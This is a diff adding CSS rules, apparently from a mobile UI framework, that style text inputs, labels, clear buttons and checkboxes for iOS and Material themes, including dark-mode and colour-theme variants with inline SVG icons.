+.input-clear-button:before { + position: absolute; + content: ''; + left: 50%; + top: 50%; +} +.input-with-value ~ .input-clear-button, +.item-input-with-value .input-clear-button, +.input-with-value .input-clear-button { + opacity: 1; + pointer-events: auto; + visibility: visible; +} +.input-dropdown-wrap, +.input-dropdown { + position: relative; +} +.input-dropdown-wrap:before, +.input-dropdown:before { + content: ''; + pointer-events: none; + position: absolute; + top: 50%; + margin-top: -2px; + width: 0; + height: 0; + border-left: 5px solid transparent; + border-right: 5px solid transparent; + border-top: 5px solid #727272; + left: 2px; +} +.input-dropdown-wrap select, +.input-dropdown select, +.input-dropdown-wrap input, +.input-dropdown input, +.input-dropdown-wrap textarea, +.input-dropdown textarea { + padding-right: 14px; +} +.ios .list input[type="text"], +.ios .list input[type="password"], +.ios .list input[type="search"], +.ios .list input[type="email"], +.ios .list input[type="tel"], +.ios .list input[type="url"], +.ios .list input[type="date"], +.ios .list input[type="datetime-local"], +.ios .list input[type="time"], +.ios .list input[type="number"], +.ios .list select { + height: 44px; + color: #000; + font-size: 17px; +} +.ios .list textarea { + color: #000; + font-size: 17px; + padding-top: 11px; + padding-bottom: 11px; +} +.ios .list textarea.resizable { + height: 44px; +} +.ios .item-label, +.ios .item-floating-label { + font-size: 12px; + width: 100%; + line-height: 1; + overflow: visible; +} +.ios .item-label + .item-input-wrap, +.ios .item-floating-label + .item-input-wrap { + margin-top: 0; +} +.ios .item-input .item-inner { + display: block; +} +.ios .item-input .item-media { + -webkit-align-self: flex-start; + -ms-flex-item-align: start; + align-self: flex-start; +} +.ios .item-input-wrap { + margin-top: -8px; + margin-bottom: -8px; +} +.ios .inline-labels .item-inner, +.ios .inline-label .item-inner { + display: -webkit-box; + display: -webkit-flex; + display: -ms-flexbox; + display: flex; +} +.ios .inline-labels .item-label, +.ios .inline-label .item-label, +.ios .inline-labels .item-floating-label, +.ios .inline-label .item-floating-label { + font-size: 17px; + width: 35%; + line-height: 1.4; + -webkit-align-self: flex-start; + -ms-flex-item-align: start; + align-self: flex-start; + padding-top: 3px; +} +.ios .inline-labels .item-label + .item-input-wrap, +.ios .inline-label .item-label + .item-input-wrap, +.ios .inline-labels .item-floating-label + .item-input-wrap, +.ios .inline-label .item-floating-label + .item-input-wrap { + margin-top: -8px; + margin-right: 5px; +} +.ios .inline-labels .item-input-wrap, +.ios .inline-label .item-input-wrap { + margin-top: -8px; +} +.ios .item-input-with-error-message .item-input-wrap input, +.ios div.input-with-error-message input, +.ios span.input-with-error-message input, +.ios .item-input-with-error-message .item-input-wrap select, +.ios div.input-with-error-message select, +.ios span.input-with-error-message select, +.ios .item-input-with-error-message .item-input-wrap textarea, +.ios div.input-with-error-message textarea, +.ios span.input-with-error-message textarea { + color: #ff3b30; +} +.ios .item-input-error-message, +.ios .item-input-info, +.ios .input-error-message, +.ios .input-info { + font-size: 12px; + line-height: 1.4; + position: relative; + margin-bottom: 6px; + margin-top: -8px; +} +.ios .item-input-info, +.ios .input-info { + color: #8e8e93; +} +.ios .item-input-error-message, +.ios .input-error-message { + color: #ff3b30; + display: none; +} +.ios .item-input-invalid .item-input-error-message { + display: block; +} +.ios .item-input-invalid .item-input-info { + display: none; +} +.ios .input-invalid .input-error-message { + display: block; +} +.ios .input-invalid .input-info { + display: none; +} +.ios .input-clear-button { + width: 14px; + height: 14px; + margin-top: -7px; +} +.ios .input-clear-button:after { + background-image: url("data:image/svg+xml;charset=utf-8,%3Csvg%20xmlns%3D'http%3A%2F%2Fwww.w3.org%2F2000%2Fsvg'%20viewBox%3D'0%200%2028%2028'%3E%3Ccircle%20cx%3D'14'%20cy%3D'14'%20r%3D'14'%20fill%3D'%238e8e93'%2F%3E%3Cline%20stroke%3D'%23ffffff'%20stroke-width%3D'3'%20stroke-miterlimit%3D'10'%20x1%3D'8'%20y1%3D'8'%20x2%3D'20'%20y2%3D'20'%2F%3E%3Cline%20fill%3D'none'%20stroke%3D'%23ffffff'%20stroke-width%3D'3'%20stroke-miterlimit%3D'10'%20x1%3D'20'%20y1%3D'8'%20x2%3D'8'%20y2%3D'20'%2F%3E%3C%2Fsvg%3E"); + background-size: 14px 14px; +} +.ios .input-clear-button:before { + width: 44px; + height: 44px; + margin-left: -22px; + margin-top: -22px; +} +.ios .item-input-wrap .input-clear-button { + top: 22px; +} +.ios .theme-dark .list input[type="text"], +.list.ios .theme-dark input[type="text"], +.ios .theme-dark .list input[type="password"], +.list.ios .theme-dark input[type="password"], +.ios .theme-dark .list input[type="search"], +.list.ios .theme-dark input[type="search"], +.ios .theme-dark .list input[type="email"], +.list.ios .theme-dark input[type="email"], +.ios .theme-dark .list input[type="tel"], +.list.ios .theme-dark input[type="tel"], +.ios .theme-dark .list input[type="url"], +.list.ios .theme-dark input[type="url"], +.ios .theme-dark .list input[type="date"], +.list.ios .theme-dark input[type="date"], +.ios .theme-dark .list input[type="datetime-local"], +.list.ios .theme-dark input[type="datetime-local"], +.ios .theme-dark .list input[type="time"], +.list.ios .theme-dark input[type="time"], +.ios .theme-dark .list input[type="number"], +.list.ios .theme-dark input[type="number"], +.ios .theme-dark .list select, +.list.ios .theme-dark select { + color: #fff; +} +.ios .theme-dark .list textarea, +.list.ios .theme-dark textarea { + color: #fff; +} +.md .list input[type="text"], +.md .list input[type="password"], +.md .list input[type="search"], +.md .list input[type="email"], +.md .list input[type="tel"], +.md .list input[type="url"], +.md .list input[type="date"], +.md .list input[type="datetime-local"], +.md .list input[type="time"], +.md .list input[type="number"], +.md .list select { + height: 36px; + color: #212121; + font-size: 16px; +} +.md .list input[type="text"]::-webkit-input-placeholder, +.md .list input[type="password"]::-webkit-input-placeholder, +.md .list input[type="search"]::-webkit-input-placeholder, +.md .list input[type="email"]::-webkit-input-placeholder, +.md .list input[type="tel"]::-webkit-input-placeholder, +.md .list input[type="url"]::-webkit-input-placeholder, +.md .list input[type="date"]::-webkit-input-placeholder, +.md .list input[type="datetime-local"]::-webkit-input-placeholder, +.md .list input[type="time"]::-webkit-input-placeholder, +.md .list input[type="number"]::-webkit-input-placeholder, +.md .list select::-webkit-input-placeholder { + color: rgba(0, 0, 0, 0.35); +} +.md .list input[type="text"]:-ms-input-placeholder, +.md .list input[type="password"]:-ms-input-placeholder, +.md .list input[type="search"]:-ms-input-placeholder, +.md .list input[type="email"]:-ms-input-placeholder, +.md .list input[type="tel"]:-ms-input-placeholder, +.md .list input[type="url"]:-ms-input-placeholder, +.md .list input[type="date"]:-ms-input-placeholder, +.md .list input[type="datetime-local"]:-ms-input-placeholder, +.md .list input[type="time"]:-ms-input-placeholder, +.md .list input[type="number"]:-ms-input-placeholder, +.md .list select:-ms-input-placeholder { + color: rgba(0, 0, 0, 0.35); +} +.md .list input[type="text"]::-ms-input-placeholder, +.md .list input[type="password"]::-ms-input-placeholder, +.md .list input[type="search"]::-ms-input-placeholder, +.md .list input[type="email"]::-ms-input-placeholder, +.md .list input[type="tel"]::-ms-input-placeholder, +.md .list input[type="url"]::-ms-input-placeholder, +.md .list input[type="date"]::-ms-input-placeholder, +.md .list input[type="datetime-local"]::-ms-input-placeholder, +.md .list input[type="time"]::-ms-input-placeholder, +.md .list input[type="number"]::-ms-input-placeholder, +.md .list select::-ms-input-placeholder { + color: rgba(0, 0, 0, 0.35); +} +.md .list input[type="text"]::placeholder, +.md .list input[type="password"]::placeholder, +.md .list input[type="search"]::placeholder, +.md .list input[type="email"]::placeholder, +.md .list input[type="tel"]::placeholder, +.md .list input[type="url"]::placeholder, +.md .list input[type="date"]::placeholder, +.md .list input[type="datetime-local"]::placeholder, +.md .list input[type="time"]::placeholder, +.md .list input[type="number"]::placeholder, +.md .list select::placeholder { + color: rgba(0, 0, 0, 0.35); +} +.md .list textarea { + color: #212121; + font-size: 16px; + padding-top: 7px; + padding-bottom: 7px; +} +.md .list textarea.resizable { + height: 36px; +} +.md .list textarea::-webkit-input-placeholder { + color: rgba(0, 0, 0, 0.35); +} +.md .list textarea:-ms-input-placeholder { + color: rgba(0, 0, 0, 0.35); +} +.md .list textarea::-ms-input-placeholder { + color: rgba(0, 0, 0, 0.35); +} +.md .list textarea::placeholder { + color: rgba(0, 0, 0, 0.35); +} +.md .item-input-wrap:after, +.md .input:after { + -webkit-transition-duration: 200ms; + transition-duration: 200ms; +} +.md .item-input-wrap { + min-height: 36px; +} +.md .item-input-wrap:after { + content: ''; + position: absolute; + background-color: rgba(0, 0, 0, 0.12); + display: block; + z-index: 15; + top: auto; + right: auto; + bottom: 0; + left: 0; + height: 1px; + width: 100%; + -webkit-transform-origin: 50% 100%; + transform-origin: 50% 100%; +} +.md.device-pixel-ratio-2 .item-input-wrap:after { + -webkit-transform: scaleY(0.5); + transform: scaleY(0.5); +} +.md.device-pixel-ratio-3 .item-input-wrap:after { + -webkit-transform: scaleY(0.33); + transform: scaleY(0.33); +} +.md .input:after { + content: ''; + position: absolute; + background-color: rgba(0, 0, 0, 0.12); + display: block; + z-index: 15; + top: auto; + right: auto; + bottom: 0; + left: 0; + height: 1px; + width: 100%; + -webkit-transform-origin: 50% 100%; + transform-origin: 50% 100%; +} +.md.device-pixel-ratio-2 .input:after { + -webkit-transform: scaleY(0.5); + transform: scaleY(0.5); +} +.md.device-pixel-ratio-3 .input:after { + -webkit-transform: scaleY(0.33); + transform: scaleY(0.33); +} +.md .item-label, +.md .item-floating-label { + font-size: 12px; + width: 100%; + color: rgba(0, 0, 0, 0.65); + -webkit-transition-duration: 200ms; + transition-duration: 200ms; + line-height: 13px; + -webkit-transition-property: color, -webkit-transform; + transition-property: color, -webkit-transform; + transition-property: transform, color; + transition-property: transform, color, -webkit-transform; +} +.md .item-floating-label { + -webkit-transform: scale(1.33333333) translateY(18px); + transform: scale(1.33333333) translateY(18px); + color: rgba(0, 0, 0, 0.35); + width: auto; + max-width: 75%; + pointer-events: none; + -webkit-transform-origin: right; + transform-origin: right; +} +.md .item-floating-label ~ .item-input-wrap input::-webkit-input-placeholder, +.md .item-floating-label ~ .item-input-wrap textarea::-webkit-input-placeholder { + color: transparent !important; +} +.md .item-floating-label ~ .item-input-wrap input:-ms-input-placeholder, +.md .item-floating-label ~ .item-input-wrap textarea:-ms-input-placeholder { + color: transparent !important; +} +.md .item-floating-label ~ .item-input-wrap input::-ms-input-placeholder, +.md .item-floating-label ~ .item-input-wrap textarea::-ms-input-placeholder { + color: transparent !important; +} +.md .item-floating-label ~ .item-input-wrap input::placeholder, +.md .item-floating-label ~ .item-input-wrap textarea::placeholder { + color: transparent !important; +} +.md .item-input-with-value .item-floating-label, +.md .item-input-focused .item-floating-label { + -webkit-transform: scale(1) translateY(0); + transform: scale(1) translateY(0); +} +.md .item-input-with-value .item-floating-label { + color: rgba(0, 0, 0, 0.65); +} +.md .item-input .item-media { + -webkit-align-self: flex-end; + -ms-flex-item-align: end; + align-self: flex-end; +} +.md .item-input .item-inner { + display: block; +} +.md .item-input .item-inner:after { + display: none !important; +} +.md .inline-labels .item-media, +.md .inline-label .item-media { + -webkit-align-self: flex-start; + -ms-flex-item-align: start; + align-self: flex-start; + padding-top: 14px; +} +.md .inline-labels .item-inner, +.md .inline-label .item-inner { + display: -webkit-box; + display: -webkit-flex; + display: -ms-flexbox; + display: flex; +} +.md .inline-labels .item-label, +.md .inline-label .item-label, +.md .inline-labels .item-floating-label, +.md .inline-label .item-floating-label { + font-size: 16px; + width: 30%; + line-height: 1.5; + -webkit-align-self: flex-start; + -ms-flex-item-align: start; + align-self: flex-start; + padding-top: 7px; +} +.md .inline-labels .item-label + .item-input-wrap, +.md .inline-label .item-label + .item-input-wrap, +.md .inline-labels .item-floating-label + .item-input-wrap, +.md .inline-label .item-floating-label + .item-input-wrap { + margin-right: 8px; +} +.md .item-input-with-error-message, +.md .item-input-with-info, +.md div.input-with-error-message, +.md div.input-with-info, +.md span.input-with-error-message, +.md span.input-with-info { + padding-bottom: 20px; +} +.md .item-input-error-message, +.md .item-input-info, +.md .input-error-message, +.md .input-info { + font-size: 12px; + line-height: 1.4; + position: absolute; + top: 100%; + margin-top: 4px; + white-space: nowrap; + overflow: hidden; + text-overflow: ellipsis; + display: block; + right: 0; + left: 16px; +} +.md .item-input-info, +.md .input-info { + color: rgba(0, 0, 0, 0.45); +} +.md .item-input-error-message, +.md .input-error-message { + color: #f44336; + display: none; +} +.md .item-input-focused .item-label, +.md .item-input-focused .item-floating-label { + color: #2196f3; +} +.md .item-input-focused .item-input-wrap:after, +.md .input-focused:after { + background: #2196f3; +} +.md .item-input-invalid .item-label, +.md .item-invalid .item-label, +.md .item-input-invalid .item-floating-label, +.md .item-invalid .item-floating-label { + color: #f44336; +} +.md .item-input-invalid .item-input-error-message, +.md .item-invalid .item-input-error-message, +.md .item-input-invalid .input-error-message, +.md .item-invalid .input-error-message { + display: block; +} +.md .item-input-invalid .item-input-info, +.md .item-invalid .item-input-info, +.md .item-input-invalid .input-info, +.md .item-invalid .input-info { + display: none; +} +.md .item-input-invalid .item-input-wrap:after, +.md .input-invalid:after { + background: #f44336; +} +.md .item-input-invalid .item-input-wrap:after, +.md .item-input-focused .item-input-wrap:after { + -webkit-transform: scaleY(2); + transform: scaleY(2); +} +.md .input-invalid:after, +.md .input-focused:after { + -webkit-transform: scaleY(2) !important; + transform: scaleY(2) !important; +} +.md .input-clear-button { + width: 24px; + height: 24px; + background: rgba(0, 0, 0, 0.12); + margin-top: -12px; +} +.md .input-clear-button:after { + background-image: url("data:image/svg+xml;charset=utf-8,%3Csvg%20fill%3D'%23000'%20height%3D'24'%20viewBox%3D'0%200%2024%2024'%20width%3D'24'%20xmlns%3D'http%3A%2F%2Fwww.w3.org%2F2000%2Fsvg'%3E%3Cpath%20d%3D'M19%206.41L17.59%205%2012%2010.59%206.41%205%205%206.41%2010.59%2012%205%2017.59%206.41%2019%2012%2013.41%2017.59%2019%2019%2017.59%2013.41%2012z'%2F%3E%3Cpath%20d%3D'M0%200h24v24H0z'%20fill%3D'none'%2F%3E%3C%2Fsvg%3E"); + background-size: 16px 16px; + opacity: 0.54; +} +.md .input-clear-button:before { + width: 48px; + height: 48px; + margin-left: -24px; + margin-top: -24px; +} +.md .item-input-wrap .input-clear-button { + bottom: 6px; + margin-top: 0; + top: auto; +} +.md .theme-dark input[type="text"], +.md .theme-dark input[type="password"], +.md .theme-dark input[type="search"], +.md .theme-dark input[type="email"], +.md .theme-dark input[type="tel"], +.md .theme-dark input[type="url"], +.md .theme-dark input[type="date"], +.md .theme-dark input[type="datetime-local"], +.md .theme-dark input[type="time"], +.md .theme-dark input[type="number"], +.md .theme-dark select, +.md .theme-dark textarea { + color: rgba(255, 255, 255, 0.87); +} +.md .theme-dark input[type="text"]::-webkit-input-placeholder, +.md .theme-dark input[type="password"]::-webkit-input-placeholder, +.md .theme-dark input[type="search"]::-webkit-input-placeholder, +.md .theme-dark input[type="email"]::-webkit-input-placeholder, +.md .theme-dark input[type="tel"]::-webkit-input-placeholder, +.md .theme-dark input[type="url"]::-webkit-input-placeholder, +.md .theme-dark input[type="date"]::-webkit-input-placeholder, +.md .theme-dark input[type="datetime-local"]::-webkit-input-placeholder, +.md .theme-dark input[type="time"]::-webkit-input-placeholder, +.md .theme-dark input[type="number"]::-webkit-input-placeholder, +.md .theme-dark select::-webkit-input-placeholder, +.md .theme-dark textarea::-webkit-input-placeholder { + color: rgba(255, 255, 255, 0.35); +} +.md .theme-dark input[type="text"]:-ms-input-placeholder, +.md .theme-dark input[type="password"]:-ms-input-placeholder, +.md .theme-dark input[type="search"]:-ms-input-placeholder, +.md .theme-dark input[type="email"]:-ms-input-placeholder, +.md .theme-dark input[type="tel"]:-ms-input-placeholder, +.md .theme-dark input[type="url"]:-ms-input-placeholder, +.md .theme-dark input[type="date"]:-ms-input-placeholder, +.md .theme-dark input[type="datetime-local"]:-ms-input-placeholder, +.md .theme-dark input[type="time"]:-ms-input-placeholder, +.md .theme-dark input[type="number"]:-ms-input-placeholder, +.md .theme-dark select:-ms-input-placeholder, +.md .theme-dark textarea:-ms-input-placeholder { + color: rgba(255, 255, 255, 0.35); +} +.md .theme-dark input[type="text"]::-ms-input-placeholder, +.md .theme-dark input[type="password"]::-ms-input-placeholder, +.md .theme-dark input[type="search"]::-ms-input-placeholder, +.md .theme-dark input[type="email"]::-ms-input-placeholder, +.md .theme-dark input[type="tel"]::-ms-input-placeholder, +.md .theme-dark input[type="url"]::-ms-input-placeholder, +.md .theme-dark input[type="date"]::-ms-input-placeholder, +.md .theme-dark input[type="datetime-local"]::-ms-input-placeholder, +.md .theme-dark input[type="time"]::-ms-input-placeholder, +.md .theme-dark input[type="number"]::-ms-input-placeholder, +.md .theme-dark select::-ms-input-placeholder, +.md .theme-dark textarea::-ms-input-placeholder { + color: rgba(255, 255, 255, 0.35); +} +.md .theme-dark input[type="text"]::placeholder, +.md .theme-dark input[type="password"]::placeholder, +.md .theme-dark input[type="search"]::placeholder, +.md .theme-dark input[type="email"]::placeholder, +.md .theme-dark input[type="tel"]::placeholder, +.md .theme-dark input[type="url"]::placeholder, +.md .theme-dark input[type="date"]::placeholder, +.md .theme-dark input[type="datetime-local"]::placeholder, +.md .theme-dark input[type="time"]::placeholder, +.md .theme-dark input[type="number"]::placeholder, +.md .theme-dark select::placeholder, +.md .theme-dark textarea::placeholder { + color: rgba(255, 255, 255, 0.35); +} +.md .theme-dark .item-input:not(.item-input-focused) .item-input-wrap:after, +.md .theme-dark .input:after { + background-color: rgba(255, 255, 255, 0.08); +} +.md .theme-dark .item-label, +.md .theme-dark .item-floating-label { + color: rgba(255, 255, 255, 0.54); +} +.md .theme-dark .item-floating-label { + color: rgba(255, 255, 255, 0.35); +} +.md .theme-dark .item-input-with-value .item-floating-label { + color: rgba(255, 255, 255, 0.54); +} +.md .theme-dark .input-clear-button { + background: #fff; +} +.md .color-theme-red .item-input-focused .item-label, +.md .color-theme-red .item-input-focused .item-floating-label { + color: #f44336; +} +.md .color-theme-red .item-input-focused .item-input-wrap:after, +.md .color-theme-red .input-after:after { + background: #f44336; +} +.md .color-theme-green .item-input-focused .item-label, +.md .color-theme-green .item-input-focused .item-floating-label { + color: #4caf50; +} +.md .color-theme-green .item-input-focused .item-input-wrap:after, +.md .color-theme-green .input-after:after { + background: #4caf50; +} +.md .color-theme-blue .item-input-focused .item-label, +.md .color-theme-blue .item-input-focused .item-floating-label { + color: #2196f3; +} +.md .color-theme-blue .item-input-focused .item-input-wrap:after, +.md .color-theme-blue .input-after:after { + background: #2196f3; +} +.md .color-theme-pink .item-input-focused .item-label, +.md .color-theme-pink .item-input-focused .item-floating-label { + color: #e91e63; +} +.md .color-theme-pink .item-input-focused .item-input-wrap:after, +.md .color-theme-pink .input-after:after { + background: #e91e63; +} +.md .color-theme-yellow .item-input-focused .item-label, +.md .color-theme-yellow .item-input-focused .item-floating-label { + color: #ffeb3b; +} +.md .color-theme-yellow .item-input-focused .item-input-wrap:after, +.md .color-theme-yellow .input-after:after { + background: #ffeb3b; +} +.md .color-theme-orange .item-input-focused .item-label, +.md .color-theme-orange .item-input-focused .item-floating-label { + color: #ff9800; +} +.md .color-theme-orange .item-input-focused .item-input-wrap:after, +.md .color-theme-orange .input-after:after { + background: #ff9800; +} +.md .color-theme-gray .item-input-focused .item-label, +.md .color-theme-gray .item-input-focused .item-floating-label { + color: #9e9e9e; +} +.md .color-theme-gray .item-input-focused .item-input-wrap:after, +.md .color-theme-gray .input-after:after { + background: #9e9e9e; +} +.md .color-theme-white .item-input-focused .item-label, +.md .color-theme-white .item-input-focused .item-floating-label { + color: #ffffff; +} +.md .color-theme-white .item-input-focused .item-input-wrap:after, +.md .color-theme-white .input-after:after { + background: #ffffff; +} +.md .color-theme-black .item-input-focused .item-label, +.md .color-theme-black .item-input-focused .item-floating-label { + color: #000000; +} +.md .color-theme-black .item-input-focused .item-input-wrap:after, +.md .color-theme-black .input-after:after { + background: #000000; +} +.md .item-input-focused.color-red .item-label, +.md .item-input-focused.color-red .item-floating-label { + color: #f44336; +} +.md .item-input-focused.color-red .item-input-wrap:after, +.md .input-after.color-red:after { + background: #f44336; +} +.md .item-input-focused.color-green .item-label, +.md .item-input-focused.color-green .item-floating-label { + color: #4caf50; +} +.md .item-input-focused.color-green .item-input-wrap:after, +.md .input-after.color-green:after { + background: #f44336; +} +.md .item-input-focused.color-blue .item-label, +.md .item-input-focused.color-blue .item-floating-label { + color: #2196f3; +} +.md .item-input-focused.color-blue .item-input-wrap:after, +.md .input-after.color-blue:after { + background: #f44336; +} +.md .item-input-focused.color-pink .item-label, +.md .item-input-focused.color-pink .item-floating-label { + color: #e91e63; +} +.md .item-input-focused.color-pink .item-input-wrap:after, +.md .input-after.color-pink:after { + background: #f44336; +} +.md .item-input-focused.color-yellow .item-label, +.md .item-input-focused.color-yellow .item-floating-label { + color: #ffeb3b; +} +.md .item-input-focused.color-yellow .item-input-wrap:after, +.md .input-after.color-yellow:after { + background: #f44336; +} +.md .item-input-focused.color-orange .item-label, +.md .item-input-focused.color-orange .item-floating-label { + color: #ff9800; +} +.md .item-input-focused.color-orange .item-input-wrap:after, +.md .input-after.color-orange:after { + background: #f44336; +} +.md .item-input-focused.color-gray .item-label, +.md .item-input-focused.color-gray .item-floating-label { + color: #9e9e9e; +} +.md .item-input-focused.color-gray .item-input-wrap:after, +.md .input-after.color-gray:after { + background: #f44336; +} +.md .item-input-focused.color-white .item-label, +.md .item-input-focused.color-white .item-floating-label { + color: #ffffff; +} +.md .item-input-focused.color-white .item-input-wrap:after, +.md .input-after.color-white:after { + background: #f44336; +} +.md .item-input-focused.color-black .item-label, +.md .item-input-focused.color-black .item-floating-label { + color: #000000; +} +.md .item-input-focused.color-black .item-input-wrap:after, +.md .input-after.color-black:after { + background: #f44336; +} +/* === Checkbox === */ +.icon-checkbox, +.checkbox i { + -webkit-flex-shrink: 0; + -ms-flex-negative: 0; + flex-shrink: 0; +} +.checkbox { + position: relative; + display: inline-block; + vertical-align: middle; + z-index: 1; +} +label.item-checkbox, +.checkbox { + cursor: pointer; +} +label.item-checkbox input[type="checkbox"], +.checkbox input[type="checkbox"], +label.item-checkbox input[type="radio"], +.checkbox input[type="radio"] { + display: none; +} +label.item-checkbox .icon-checkbox, +.checkbox .icon-checkbox { + -webkit-box-sizing: border-box; + box-sizing: border-box; + position: relative; + display: block; +} +label.item-checkbox .icon-checkbox:after, +.checkbox .icon-checkbox:after { + content: ''; + position: absolute; +} +label.item-checkbox { + -webkit-transition-duration: 300ms; + transition-duration: 300ms; +} +label.item-checkbox.active-state:after { + background-color: transparent; +} +label.item-checkbox.disabled, +.disabled label.item-checkbox { + opacity: 0.55; + pointer-events: none; + opacity: 0.55 !important; + pointer-events: none !important; +} +.ios .icon-checkbox, +.ios .checkbox i { + width: 22px; + height: 22px; + border-radius: 50%; + border: 1px solid #c7c7cc; +} +.ios .icon-checkbox:after, +.ios .checkbox i:after { + left: 50%; + top: 50%; + margin-left: -6px; + margin-top: -4px; + width: 12px; + height: 9px; +} +.ios label.item-checkbox input[type="checkbox"]:checked ~ .icon-checkbox, +.ios .checkbox input[type="checkbox"]:checked ~ i { + border: none; + background: #007aff; +} +.ios label.item-checkbox input[type="checkbox"]:checked ~ .icon-checkbox:after, +.ios .checkbox input[type="checkbox"]:checked ~ i:after { + background: no-repeat center; + background-image: url("data:image/svg+xml;charset=utf-8,%3Csvg%20xmlns%3D'http%3A%2F%2Fwww.w3.org%2F2000%2Fsvg'%20x%3D'0px'%20y%3D'0px'%20viewBox%3D'0%200%2012%209'%20xml%3Aspace%3D'preserve'%3E%3Cpolygon%20fill%3D'%23ffffff'%20points%3D'12%2C0.7%2011.3%2C0%203.9%2C7.4%200.7%2C4.2%200%2C4.9%203.9%2C8.8%203.9%2C8.8%203.9%2C8.8%20'%2F%3E%3C%2Fsvg%3E"); + background-size: 12px 9px; +} +.ios label.item-checkbox > .icon-checkbox { + margin-left: 15px; +} +.ios label.item-checkbox .item-content .item-media, +.ios label.item-checkbox.item-content .item-media { + -webkit-align-self: center; + -ms-flex-item-align: center; + align-self: center; +} +.ios label.item-checkbox.active-state { + -webkit-transition-duration: 0ms; + transition-duration: 0ms; + background-color: #d9d9d9; +} +.ios .theme-dark label.item-checkbox.active-state { + background-color: #363636; +} +.ios .color-theme-red label.item-checkbox input[type="checkbox"]:checked ~ .icon-checkbox, +.ios .color-theme-red .checkbox input[type="checkbox"]:checked ~ i { + background: #ff3b30; +} +.ios .color-theme-green label.item-checkbox input[type="checkbox"]:checked ~ .icon-checkbox, +.ios .color-theme-green .checkbox input[type="checkbox"]:checked ~ i { + background: #4cd964; +} +.ios .color-theme-blue label.item-checkbox input[type="checkbox"]:checked ~ .icon-checkbox, +.ios .color-theme-blue .checkbox input[type="checkbox"]:checked ~ i { + background: #007aff; +} +.ios .color-theme-pink label.item-checkbox input[type="checkbox"]:checked ~ .icon-checkbox, +.ios .color-theme-pink .checkbox input[type="checkbox"]:checked ~ i { + background: #ff2d55; +} +.ios .color-theme-yellow label.item-checkbox input[type="checkbox"]:checked ~ .icon-checkbox, +.ios .color-theme-yellow .checkbox input[type="checkbox"]:checked ~ i { + background: #ffcc00; +} +.ios .color-theme-orange label.item-checkbox input[type="checkbox"]:checked ~ .icon-checkbox, +.ios .color-theme-orange .checkbox input[type="checkbox"]:checked ~ i { + background: #ff9500; +} +.ios .color-theme-gray label.item-checkbox input[type="checkbox"]:checked ~ .icon-checkbox, +.ios .color-theme-gray .checkbox input[type="checkbox"]:checked ~ i { + background: #8e8e93; +} +.ios .color-theme-white label.item-checkbox input[type="checkbox"]:checked ~ .icon-checkbox, +.ios .color-theme-white .checkbox input[type="checkbox"]:checked ~ i { + background: #ffffff; +} +.ios .color-theme-black label.item-checkbox input[type="checkbox"]:checked ~ .icon-checkbox, +.ios .color-theme-black .checkbox input[type="checkbox"]:checked ~ i { + background: #000000; +} +.ios label.item-checkbox.color-red input[type="checkbox"]:checked ~ .icon-checkbox, +.ios .checkbox.color-red input[type="checkbox"]:checked ~ i { + background: #ff3b30; +} +.ios label.item-checkbox.color-green input[type="checkbox"]:checked ~ .icon-checkbox, +.ios .checkbox.color-green input[type="checkbox"]:checked ~ i { + background: #4cd964; +} +.ios label.item-checkbox.color-blue input[type="checkbox"]:checked ~ .icon-checkbox, +.ios .checkbox.color-blue input[type="checkbox"]:checked ~ i { + background: #007aff; +} +.ios label.item-checkbox.color-pink input[type="checkbox"]:checked ~ .icon-checkbox, +.ios .checkbox.color-pink input[type="checkbox"]:checked ~ i { + background: #ff2d55; +} +.ios label.item-checkbox.color-yellow input[type="checkbox"]:checked ~ .icon-checkbox, +.ios .checkbox.color-yellow input[type="checkbox"]:checked ~ i { + background: #ffcc00; +} +.ios label.item-checkbox.color-orange input[type="checkbox"]:checked ~ .icon-checkbox, +.ios .checkbox.color-orange input[type="checkbox"]:checked ~ i { + background: #ff9500; +} +.ios label.item-checkbox.color-gray input[type="checkbox"]:checked ~ .icon-checkbox, +.ios .checkbox.color-gray input[type="checkbox"]:checked ~ i { + background: #8e8e93; +} +.ios label.item-checkbox.color-white input[type="checkbox"]:checked ~ .icon-checkbox, +.ios .checkbox.color-white input[type="checkbox"]:checked ~ i { + background: #ffffff; +} +.ios label.item-checkbox.color-black input[type="checkbox"]:checked ~ .icon-checkbox, +.ios .checkbox.color-black input[type="checkbox"]:checked ~ i { + background: #000000; +} +.md .icon-checkbox, +.md .checkbox i { + width: 18px; + height: 18px; + border-radius: 2px; + border: 2px solid #6d6d6d; + -webkit-transition-duration: 200ms; + transition-duration: 200ms; + background-color: transparent; +} +.md .icon-checkbox:after, +.md .checkbox i:after { + width: 18px; + height: 18px; + left: -2px; + top: -2px; + -webkit-transition-duration: 200ms; + transition-duration: 200ms; + opacity: 0; + background: no-repeat center; + background-image: url("data:image/svg+xml;charset=utf-8,%3Csvg%20xmlns%3D'http%3A%2F%2Fwww.w3.org%2F2000%2Fsvg'%20fill%3D'%23ffffff'%20width%3D'24'%20height%3D'24'%20viewBox%3D'0%200%2024%2024'%3E%3Cpath%20d%3D'M9%2016.17L4.83%2012l-1.42%201.41L9%2019%2021%207l-1.41-1.41z'%2F%3E%3C%2Fsvg%3E"); + background-size: 100% auto; +} +.md label.item-checkbox input[type="checkbox"]:checked ~ .icon-checkbox, +.md label.item-checkbox input[type="checkbox"]:checked ~ * .icon-checkbox, +.md .checkbox input[type="checkbox"]:checked ~ i { + background-color: #2196f3; + border-color: #2196f3; +} +.md label.item-checkbox input[type="checkbox"]:checked ~ .icon-checkbox:after, +.md label.item-checkbox input[type="checkbox"]:checked ~ * .icon-checkbox:after, +.md .checkbox input[type="checkbox"]:checked ~ i:after { + opacity: 1; +} +.md label.item-checkbox { + position: relative; + overflow: hidden; + z-index: 0; +} +.md label.item-checkbox > .icon-checkbox { + margin-left: 38px; +} +.md label.item-checkbox .item-content .item-media, +.md label.item-checkbox.item-content .item-media { + -webkit-align-self: center; + -ms-flex-item-align: center; + align-self: center; +} +.md label.item-checkbox.active-state { + background-color: rgba(0, 0, 0, 0.1); +} +.md .theme-dark label.item-checkbox.active-state { + background-color: rgba(255, 255, 255, 0.05); +} +.md .theme-dark .icon-checkbox, +.md .theme-dark .checkbox i { + border-color: rgba(255, 255, 255, 0.54); +} +.md .color-theme-red label.item-checkbox input[type="checkbox"]:checked ~ .icon-checkbox, +.md .color-theme-red label.item-checkbox input[type="checkbox"]:checked ~ * .icon-checkbox, +.md .color-theme-red .checkbox input[type="checkbox"]:checked ~ i { + background-color: #f44336; + border-color: #f44336; +} +.md .color-theme-red .checkbox .ripple-wave { + background: rgba(244, 67, 54, 0.5); +} +.md .color-theme-green label.item-checkbox input[type="checkbox"]:checked ~ .icon-checkbox, +.md .color-theme-green label.item-checkbox input[type="checkbox"]:checked ~ * .icon-checkbox, 